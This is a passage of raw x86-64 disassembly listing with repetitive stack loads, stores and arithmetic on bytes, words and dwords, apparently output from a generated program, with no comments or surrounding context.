movzx eax, byte [rax]
mov byte [rsp + 0x30e], al
mov rax, qword [rsp + 0x93f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x91a8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x81f0], rax
mov rax, qword [rsp + 0xb7b0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9bc0]
shl rax, cl
mov rcx, qword [rsp + 0x8d10]
mov qword [rcx], rax
lea rax, [0x1401cd710]
mov qword [rsp + 0xba98], rax
mov rax, qword [rsp + 0xb4a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa4f8]
mov qword [rsp + 0xbaa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbaa0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x99b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaf10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x90e0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401cc073], al
movzx eax, word [0x1401cc0dc]
mov word [rsp + 0x1998], ax
movsx eax, byte [rsp + 0x23f]
mov rcx, qword [rsp + 0xa138]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1e6], al
mov rax, qword [rsp + 0xb020]
movzx eax, word [rax]
mov word [rsp + 0x199c], ax
mov rax, qword [rsp + 0xb080]
movsx eax, word [rax]
mov rcx, qword [0x1401cdb80]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x16e4], ax
mov rax, qword [rsp + 0xb948]
mov rcx, qword [rsp + 0x8ab8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa648]
mov qword [rcx], rax
lea rax, [rsp + 0x5210]
mov qword [rsp + 0xbaa8], rax
mov rax, qword [rsp + 0x9860]
mov rcx, qword [rsp + 0xa500]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9f00]
mov dword [rcx], eax
lea rax, [rsp + 0xa070]
mov qword [rsp + 0xbab0], rax
movsx eax, word [rsp + 0x197c]
mov rcx, qword [rsp + 0xa0e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cdbf8], ax
movzx eax, word [0x1401cc050]
movzx ecx, word [rsp + 0x17f8]
add eax, ecx
mov rcx, qword [rsp + 0x9740]
mov word [rcx], ax
mov rax, qword [rsp + 0x9d60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x221]
and eax, ecx
mov rcx, qword [rsp + 0xa4f0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x2a0]
mov byte [rsp + 0x30f], al
movsx eax, byte [0x1401cd7da]
mov rcx, qword [rsp + 0xa4d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xac88]
mov byte [rcx], al
lea rax, [rsp + 0x5048]
mov qword [rsp + 0xbab8], rax
mov rax, qword [rsp + 0x93d0]
mov rcx, qword [rsp + 0x9c68]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9390]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f50]
mov eax, dword [rax]
mov ecx, dword [0x1401cd710]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x91d0]
mov dword [rcx], eax
lea rax, [rsp + 0x8f28]
mov qword [rsp + 0xbac0], rax
lea rax, [rsp + 0x2bb]
mov qword [0x1401cdd08], rax
mov rax, qword [rsp + 0x9a10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa3b8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x18c0], ax
movzx eax, byte [rsp + 0x232]
mov byte [rsp + 0x310], al
movzx eax, word [rsp + 0xf18]
movzx ecx, word [rsp + 0x1894]
sar eax, cl
mov word [rsp + 0x1740], ax
mov rax, qword [0x1401cd970]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f0]
xor eax, ecx
mov rcx, qword [rsp + 0xab88]
mov byte [rcx], al
mov rax, qword [rsp + 0x9158]
mov eax, dword [rax]
mov dword [rsp + 0x5310], eax
mov rax, qword [rsp + 0xa028]
mov rcx, qword [rsp + 0xa368]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9168]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9350]
mov rax, qword [rax]
mov rcx, qword [0x1401cc020]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ad0], rax
mov rax, qword [rsp + 0xa1a8]
mov ecx, dword [rsp + 0x52fc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaa50]
mov dword [rcx], eax
movsx eax, word [rsp + 0xfc4]
mov rcx, qword [rsp + 0x9ea8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc0e0], ax
movzx eax, byte [rsp + 0x21c]
mov byte [rsp + 0x311], al
movsx eax, word [rsp + 0x17a4]
mov rcx, qword [rsp + 0xa6c0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1840], ax
movzx eax, word [rsp + 0x15f8]
movzx ecx, word [rsp + 0x1950]
sub eax, ecx
mov word [rsp + 0x170c], ax
lea rax, [rsp + 0x9a]
mov qword [rsp + 0xbac8], rax
mov rax, qword [rsp + 0x93c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5108]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa0c8]
mov dword [rcx], eax
lea rax, [0x1401cd720]
mov qword [rsp + 0xbad0], rax
mov rax, qword [rsp + 0x9908]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x87c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa228], rax
mov rax, qword [rsp + 0x9020]
mov rcx, qword [rsp + 0xa2e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa990]
mov qword [rcx], rax
mov rax, qword [0x1401cd9d0]
movzx eax, word [rax]
mov word [0x1401cdd10], ax
mov rax, qword [rsp + 0x9670]
movzx eax, byte [rax]
mov byte [rsp + 0x312], al
movzx eax, word [rsp + 0x1588]
mov rcx, qword [rsp + 0xa7f0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb2f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9980]
movzx eax, word [rax]
mov word [rsp + 0x19a0], ax
movsx eax, byte [0x1401cc08a]
mov rcx, qword [rsp + 0xa878]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xaf88]
mov byte [rcx], al
mov eax, dword [rsp + 0x52d4]
mov rcx, qword [rsp + 0xb010]
mov qword [rsp + 0xbad8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbad8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x52a8], eax
lea rax, [rsp + 0x98e0]
mov qword [rsp + 0xbae0], rax
mov rax, qword [rsp + 0x9808]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb810]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa140], rax
mov rax, qword [rsp + 0x93a8]
mov eax, dword [rax]
mov dword [rsp + 0x5314], eax
mov rax, qword [rsp + 0x9a80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1654]
cdq
idiv ecx
mov rcx, qword [rsp + 0xb190]
mov word [rcx], ax
movzx eax, byte [rsp + 0x232]
mov rcx, qword [rsp + 0xb018]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401cc09a], al
movsx eax, byte [rsp + 0x271]
movsx ecx, byte [rsp + 0x2f7]
sub eax, ecx
mov byte [rsp + 0x21a], al
movzx eax, word [0x1401cdca0]
mov word [rsp + 0x19a4], ax
movzx eax, byte [rsp + 0x1ec]
mov rcx, qword [rsp + 0xa730]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xab28]
mov byte [rcx], al
lea rax, [rsp + 0xb388]
mov qword [rsp + 0xbae8], rax
mov rax, qword [rsp + 0xb228]
mov ecx, dword [rsp + 0x507c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb978]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5280]
mov dword [rsp + 0x5318], eax
mov rax, qword [rsp + 0x9c30]
mov rcx, qword [rsp + 0xb538]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb268]
mov qword [rcx], rax
movzx eax, word [rsp + 0x11c0]
movzx ecx, word [0x1401cc09c]
add eax, ecx
mov word [rsp + 0x164c], ax
movsx eax, word [rsp + 0x1048]
movsx ecx, word [rsp + 0x11fc]
add eax, ecx
mov rcx, qword [0x1401cd768]
mov word [rcx], ax
movzx eax, word [rsp + 0x15e4]
mov word [rsp + 0x19a8], ax
mov rax, qword [0x1401cd938]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9230]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x281], al
lea rax, [rsp + 0x22d]
mov qword [rsp + 0xbaf0], rax
mov rax, qword [rsp + 0x9350]
mov rcx, qword [rsp + 0xb1f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9b38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9eb8]
mov ecx, dword [rsp + 0x5234]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9d18]
mov dword [rcx], eax
lea rax, [rsp + 0x51b8]
mov qword [rsp + 0xbaf8], rax
mov rax, qword [rsp + 0x9388]
mov rcx, qword [rsp + 0xa100]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa000], rax
lea rax, [0x1401cdaf8]
mov qword [rsp + 0xbb00], rax
movsx eax, byte [rsp + 0x2f7]
mov rcx, qword [rsp + 0xb308]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x1401cda80]
mov byte [rcx], al
movsx eax, byte [rsp + 0x1de]
movsx ecx, byte [rsp + 0x282]
sar eax, cl
mov rcx, qword [rsp + 0xa240]
mov byte [rcx], al
movzx eax, byte [0x1401cc08f]
movzx ecx, byte [rsp + 0x2eb]
xor eax, ecx
mov rcx, qword [rsp + 0x93b0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1970]
mov word [rsp + 0x19ac], ax
mov rax, qword [rsp + 0xb3b8]
mov ecx, dword [0x1401cc01c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9a88]
mov dword [rcx], eax
lea rax, [rsp + 0x4ba8]
mov qword [rsp + 0xbb08], rax
mov rax, qword [rsp + 0xba08]
mov rcx, qword [rsp + 0x99a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa2f8]
mov qword [rcx], rax
lea rax, [rsp + 0xb928]
mov qword [rsp + 0xbb10], rax
mov rax, qword [0x1401cd9c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1944]
sub eax, ecx
mov rcx, qword [rsp + 0xac58]
mov word [rcx], ax
mov rax, qword [rsp + 0xb408]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xab70]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401cc09b], al
mov rax, qword [rsp + 0xa120]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x22a]
add eax, ecx
mov byte [rsp + 0x1ea], al
movzx eax, word [rsp + 0x1780]
mov word [rsp + 0x19b0], ax
movzx eax, word [rsp + 0x1448]
mov rcx, qword [rsp + 0xb630]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1560], ax
movzx eax, byte [rsp + 0x1fb]
movzx ecx, byte [0x1401cd823]
sub eax, ecx
mov byte [rsp + 0x199], al
mov rax, qword [rsp + 0x9408]
mov ecx, dword [rsp + 0x50d0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4eb0], eax
mov rax, qword [rsp + 0x82a0]
mov rcx, qword [rsp + 0xab60]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa130]
mov qword [rcx], rax
lea rax, [rsp + 0xb100]
mov qword [rsp + 0xbb18], rax
mov eax, dword [rsp + 0x4fec]
mov ecx, dword [rsp + 0x5294]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb778]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9858]
movzx eax, byte [rax]
mov byte [0x1401cd833], al
mov rax, qword [0x1401cd768]
movzx eax, word [rax]
mov word [rsp + 0x19b4], ax
mov rax, qword [rsp + 0xa908]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8ed8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x147c], ax
mov rax, qword [rsp + 0x8ca8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa0a0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2b0], al
movzx eax, word [0x1401cc0a0]
mov word [rsp + 0x19b8], ax
mov rax, qword [rsp + 0xa3f0]
mov rcx, qword [rsp + 0x80a0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xb038]
mov qword [rcx], rax
lea rax, [rsp + 0xb810]
mov qword [rsp + 0xbb20], rax
mov eax, dword [rsp + 0x5224]
mov ecx, dword [rsp + 0x52cc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fa8], eax
mov eax, dword [rsp + 0x50b0]
mov rcx, qword [rsp + 0xa288]
mov qword [rsp + 0xbb28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbb28]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x51fc], eax
mov rax, qword [rsp + 0xaaa8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xae30]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x1401cc076], al
lea rax, [0x1401cc08b]
mov qword [rsp + 0xbb30], rax
movzx eax, byte [rsp + 0x26f]
mov rcx, qword [rsp + 0xb298]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x274], al
lea rax, [rsp + 0x1848]
mov qword [rsp + 0xbb38], rax
mov rax, qword [rsp + 0xb468]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x192c]
sub eax, ecx
mov word [rsp + 0x18e4], ax
mov eax, dword [rsp + 0x50c4]
mov dword [rsp + 0x531c], eax
mov rax, qword [rsp + 0xa430]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x51a4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5024], eax
mov rax, qword [rsp + 0xb100]
mov rcx, qword [rsp + 0xa970]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x97b8], rax
mov rax, qword [rsp + 0xaa40]
mov rax, qword [rax]
mov qword [rsp + 0xbb40], rax
mov rax, qword [rsp + 0x9aa8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2ec]
add eax, ecx
mov byte [0x1401cd7dc], al
mov rax, qword [rsp + 0xa3b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb020]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1808], ax
movzx eax, byte [rsp + 0x29f]
mov byte [rsp + 0x313], al
movsx eax, word [rsp + 0x14ec]
movsx ecx, word [rsp + 0x1654]
add eax, ecx
mov rcx, qword [rsp + 0x9098]
mov word [rcx], ax
mov rax, qword [rsp + 0xa650]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1404]
sub eax, ecx
mov rcx, qword [rsp + 0xb0e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9698]
mov eax, dword [rax]
mov dword [rsp + 0x5320], eax
mov rax, qword [rsp + 0x8c58]
mov ecx, dword [rsp + 0x4f18]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x97c8]
mov dword [rcx], eax
lea rax, [rsp + 0x8338]
mov qword [rsp + 0xbb48], rax
mov rax, qword [rsp + 0xada8]
mov rcx, qword [rsp + 0xa6d0]
mov qword [rsp + 0xbb50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbb50]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8f38], rax
lea rax, [rsp + 0x18b0]
mov qword [0x1401cdd18], rax
mov rax, qword [rsp + 0xb2c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x96b8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x24a], al
mov rax, qword [rsp + 0xa1e8]
movzx eax, word [rax]
mov word [rsp + 0x19bc], ax
mov rax, qword [rsp + 0xb9e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x95f0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa408]
mov byte [rcx], al
mov rax, qword [rsp + 0xb730]
movzx eax, byte [rax]
mov byte [rsp + 0x314], al
mov rax, qword [rsp + 0xaa78]
mov rcx, qword [rsp + 0xa228]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x97a8]
mov qword [rcx], rax
lea rax, [rsp + 0xada8]
mov qword [rsp + 0xbb58], rax
mov eax, dword [0x1401cc01c]
mov ecx, dword [rsp + 0x5004]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x93c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa958]
mov ecx, dword [rsp + 0x4e80]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9360]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x10e]
movzx ecx, byte [0x1401cc03f]
sub eax, ecx
mov byte [0x1401cd825], al
lea rax, [rsp + 0x1528]
mov qword [rsp + 0xbb60], rax
mov rax, qword [rsp + 0xad68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x277]
sub eax, ecx
mov byte [rsp + 0x26b], al
mov rax, qword [rsp + 0x9a68]
movzx eax, word [rax]
movzx ecx, word [0x1401cc03c]
add eax, ecx
mov word [rsp + 0x1380], ax
movsx eax, byte [rsp + 0x20c]
mov rcx, qword [rsp + 0x9100]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2c8], al
mov rax, qword [rsp + 0x9800]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50e4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb6e8]
mov dword [rcx], eax
lea rax, [rsp + 0xb410]
mov qword [rsp + 0xbb68], rax
mov rax, qword [rsp + 0x9548]
mov rcx, qword [rsp + 0xb7c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f30], eax
lea rax, [rsp + 0xb418]
mov qword [rsp + 0xbb70], rax
movsx eax, word [rsp + 0x1890]
mov rcx, qword [0x1401cd768]
movsx ecx, word [rcx]
sub eax, ecx
mov word [str.:Akk], ax
mov rax, qword [rsp + 0xb4e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb630]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1604], ax
movsx eax, word [rsp + 0x18f8]
mov rcx, qword [0x1401cd9d8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xff8], ax
mov rax, qword [rsp + 0xaaa8]
movzx eax, byte [rax]
mov byte [rsp + 0x315], al
mov rax, qword [rsp + 0x8f30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1874]
shl eax, cl
mov rcx, qword [rsp + 0xa7f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa858]
mov rax, qword [rax]
mov qword [rsp + 0xbb78], rax
mov rax, qword [rsp + 0xaff0]
mov rcx, qword [rsp + 0x9b78]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4b94], eax
mov rax, qword [rsp + 0x8600]
mov rcx, qword [rsp + 0x8560]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb810], rax
lea rax, [rsp + 0x4e84]
mov qword [rsp + 0xbb80], rax
mov rax, qword [0x1401cd9b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb148]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401cd730]
mov byte [rcx], al
mov rax, qword [rsp + 0xa258]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11c0]
sub eax, ecx
mov word [rsp + 0x18b8], ax
movzx eax, word [rsp + 0x1168]
mov word [rsp + 0x19c0], ax
movzx eax, byte [rsp + 0x27c]
movzx ecx, byte [rsp + 0x1db]
add eax, ecx
mov rcx, qword [rsp + 0x9960]
mov byte [rcx], al
lea rax, [rsp + 0x23b]
mov qword [rsp + 0xbb88], rax
mov eax, dword [rsp + 0x4f28]
mov ecx, dword [rsp + 0x502c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa5e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa918]
mov rcx, qword [0x1401cc028]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa20], rax
lea rax, [rsp + 0x9fe8]
mov qword [rsp + 0xbb90], rax
mov rax, qword [rsp + 0x9dc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f18]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5050], eax
movzx eax, word [rsp + 0x19ac]
mov word [rsp + 0x19c4], ax
lea rax, [rsp + 0x241]
mov qword [0x1401cdd20], rax
mov rax, qword [rsp + 0xaa60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8f40]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x99b0]
mov byte [rcx], al
mov rax, qword [0x1401cd910]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1838]
add eax, ecx
mov rcx, qword [rsp + 0xac70]
mov word [rcx], ax
movzx eax, byte [rsp + 0xaa]
mov byte [rsp + 0x316], al
mov rax, qword [rsp + 0xaf80]
mov rcx, qword [rsp + 0x8428]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9a78], rax
mov rax, qword [rsp + 0xab00]
mov rax, qword [rax]
mov qword [rsp + 0xbb98], rax
mov rax, qword [rsp + 0xa288]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4fb8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9d98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9470]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb970]
mov qword [rsp + 0xbba0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbba0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5214], eax
lea rax, [rsp + 0x1778]
mov qword [rsp + 0xbba8], rax
lea rax, [rsp + 0x304]
mov qword [0x1401cdd28], rax
movsx eax, byte [rsp + 0x270]
mov rcx, qword [rsp + 0x9d10]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1e4], al
movzx eax, word [rsp + 0x16e0]
mov word [rsp + 0x19c8], ax
mov rax, qword [rsp + 0xb298]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xad68]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x2d3], al
mov rax, qword [rsp + 0x9fa8]
mov rcx, qword [rsp + 0xa188]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4748], eax
mov rax, qword [rsp + 0xb598]
mov eax, dword [rax]
mov dword [rsp + 0x5324], eax
mov rax, qword [rsp + 0xad40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9700]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9018]
mov qword [rcx], rax
lea rax, [rsp + 0xadb0]
mov qword [rsp + 0xbbb0], rax
movsx eax, word [rsp + 0x1844]
movsx ecx, word [0x1401cc044]
sub eax, ecx
mov rcx, qword [rsp + 0xa808]
mov word [rcx], ax
movzx eax, byte [rsp + 0x256]
mov rcx, qword [rsp + 0x93e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc05e], al
movzx eax, word [rsp + 0x188c]
mov rcx, qword [rsp + 0x9778]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x12d8], ax
mov rax, qword [rsp + 0xb3b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x57]
add eax, ecx
mov byte [rsp + 0xeb], al
mov rax, qword [rsp + 0x9a40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xacc0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1664], ax
lea rax, [rsp + 0x84e0]
mov qword [rsp + 0xbbb8], rax
mov rax, qword [rsp + 0x7fb8]
mov rcx, qword [rsp + 0xa1a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa598]
mov qword [rcx], rax
lea rax, [rsp + 0x5044]
mov qword [rsp + 0xbbc0], rax
mov rax, qword [rsp + 0xad88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x526c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9910]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x101]
movsx ecx, byte [rsp + 0x276]
sub eax, ecx
mov byte [rsp + 0x295], al
mov rax, qword [rsp + 0xb500]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1fb]
shl eax, cl
mov byte [0x1401cc042], al
mov rax, qword [0x1401cd9a8]
movzx eax, word [rax]
mov word [rsp + 0x19cc], ax
mov rax, qword [rsp + 0x91c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb4e8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb0a0]
mov word [rcx], ax
movzx eax, word [rsp + 0x19b8]
mov word [rsp + 0x19d0], ax
movsx eax, byte [rsp + 0x246]
movsx ecx, byte [rsp + 0x29c]
or eax, ecx
mov byte [rsp + 0x300], al
mov rax, qword [rsp + 0xa250]
mov rcx, qword [rsp + 0xb230]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5240], eax
lea rax, [rsp + 0xa558]
mov qword [rsp + 0xbbc8], rax
mov rax, qword [rsp + 0xa218]
mov ecx, dword [rsp + 0x5004]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa8a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8100]
mov qword [rsp + 0xbbd0], rax
movsx eax, word [rsp + 0x15d0]
mov rcx, qword [rsp + 0xa7f8]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401cc16c], ax
mov rax, qword [0x1401cd928]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb2c0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb120]
mov byte [rcx], al
lea rax, [rsp + 0x1688]
mov qword [rsp + 0xbbd8], rax
movsx eax, byte [rsp + 0x239]
mov rcx, qword [rsp + 0x9ac8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1e4], al
mov rax, qword [0x1401cdbe8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaeb8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9250]
mov word [rcx], ax
mov eax, dword [rsp + 0x52b0]
mov dword [rsp + 0x5328], eax
mov rax, qword [rsp + 0x9dd0]
mov rcx, qword [rsp + 0x9700]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa900], rax
lea rax, [0x1401cc010]
mov qword [rsp + 0xbbe0], rax
mov rax, qword [rsp + 0x91f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x52ac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa8f8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xb1]
movzx ecx, byte [0x1401cd7db]
sub eax, ecx
mov rcx, qword [0x1401cd958]
mov byte [rcx], al
mov rax, qword [rsp + 0x99f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb298]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1c8], al
lea rax, [rsp + 0xedc]
mov qword [rsp + 0xbbe8], rax
mov rax, qword [rsp + 0x8f08]
movzx eax, word [rax]
movzx ecx, word [0x1401cdca0]
and eax, ecx
mov word [rsp + 0x1854], ax
mov rax, qword [rsp + 0x9fb0]
movzx eax, byte [rax]
mov byte [rsp + 0x317], al
mov rax, qword [rsp + 0xb6f0]
movzx ecx, al
mov rax, qword [rsp + 0xa460]
shr rax, cl
mov rcx, qword [rsp + 0x9978]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb228]
mov ecx, dword [rsp + 0x4968]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5258], eax
mov eax, dword [rsp + 0x4f1c]
mov dword [rsp + 0x532c], eax
mov rax, qword [rsp + 0xb2d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb890]
shl rax, cl
mov qword [rsp + 0xa7d8], rax
lea rax, [rsp + 0x10d8]
mov qword [0x1401cdd30], rax
mov rax, qword [0x1401cd938]
movzx eax, byte [rax]
mov byte [rsp + 0x318], al
mov rax, qword [rsp + 0xbb30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x300]
or eax, ecx
mov rcx, qword [rsp + 0xb5a0]
mov byte [rcx], al
movzx eax, word [rsp + 0x121c]
mov rcx, qword [rsp + 0xa778]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa268]
mov word [rcx], ax
movzx eax, word [rsp + 0x1404]
mov word [rsp + 0x19d4], ax
mov rax, qword [rsp + 0xb708]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9148], rax
lea rax, [rsp + 0x4fe4]
mov qword [rsp + 0xbbf0], rax
mov rax, qword [rsp + 0x91e8]
mov rcx, qword [rsp + 0xb928]
mov rax, qword [rax]
